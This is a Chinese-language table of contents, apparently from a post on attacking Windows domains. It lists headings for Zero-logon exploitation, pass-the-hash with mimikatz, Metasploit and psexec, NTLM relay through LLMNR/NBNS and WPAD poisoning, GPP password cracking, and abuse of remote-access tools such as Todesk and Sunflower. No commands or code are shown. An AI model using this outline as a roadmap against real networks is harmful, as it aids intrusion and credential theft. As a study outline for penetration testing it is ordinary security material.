CATALOG
  1. 1. 漏洞利用
    1. 1.1. Zero-logon
      1. 1.1.1. 漏洞简介
      2. 1.1.2. 影响范围
      3. 1.1.3. 利用过程
    2. 1.2. PTH攻击
      1. 1.2.1. mimikatz
      2. 1.2.2. 使用Metasploit进行PTH攻击
      3. 1.2.3. crackmapexec进行攻击
      4. 1.2.4. 利用WmiExec进行PTH攻击
      5. 1.2.5. 利用Invoke-Thehash进行Pth攻击
      6. 1.2.6. smbexec进行pth
      7. 1.2.7. psexec进行pth
    3. 1.3. NTLM hash Relay
      1. 1.3.1. LLMNR和NetBIOS欺骗
      2. 1.3.2. 利用WPAD劫持
        1. 1.3.2.1. 利用LLMNR/NBNS投毒
          1. 1.3.2.1.1. 利用条件
          2. 1.3.2.1.2. 利用原理
          3. 1.3.2.1.3. 利用过程
      3. 1.3.3. SMB Relay
        1. 1.3.3.1. 利用原理
      4. 1.3.4. responder进行SMB Relay
        1. 1.3.4.1. 利用过程
        2. 1.3.4.2. 攻击总结
        3. 1.3.4.3. smbrelay脚本
        4. 1.3.4.4. 实际应用
        5. 1.3.4.5. Metasploit的smb_relay模块
        6. 1.3.4.6. Impacket的ntlmrelayx进行攻击
    4. 1.4. 组策略利用
      1. 1.4.1. 下发msi
      2. 1.4.2. 推出特定的启动脚本
      3. 1.4.3. 计划任务
      4. 1.4.4. GPP
        1. 1.4.4.1. 密码破解方式
          1. 1.4.4.1.1. kali命令
          2. 1.4.4.1.2. msf模块
          3. 1.4.4.1.3. PowerSploit
      5. 1.4.5. 脚本利用
  2. 2. 远程登录
    1. 2.1. 原生SMB
      1. 2.1.1. 简单命令
      2. 2.1.2. smblient
      3. 2.1.3. smbexec
    2. 2.2. RDP单用户多点登录
    3. 2.3. PSExec
    4. 2.4. FTP
    5. 2.5. GotoHTTP
    6. 2.6. Rustdesk
    7. 2.7. Todesk
      1. 2.7.1. 简介
      2. 2.7.2. 安装命令
      3. 2.7.3. 利用场景
        1. 2.7.3.1. 未安装todesk
        2. 2.7.3.2. 获取历史连接记录
        3. 2.7.3.3. 无法获取密码情况
      4. 2.7.4. 总结
    8. 2.8. 向日葵
      1. 2.8.1. 远程代码执行漏洞(CNVD-2022-10270/CNVD-2022-03672)
      2. 2.8.2. 配置文件解密
  3. 3. 参考链接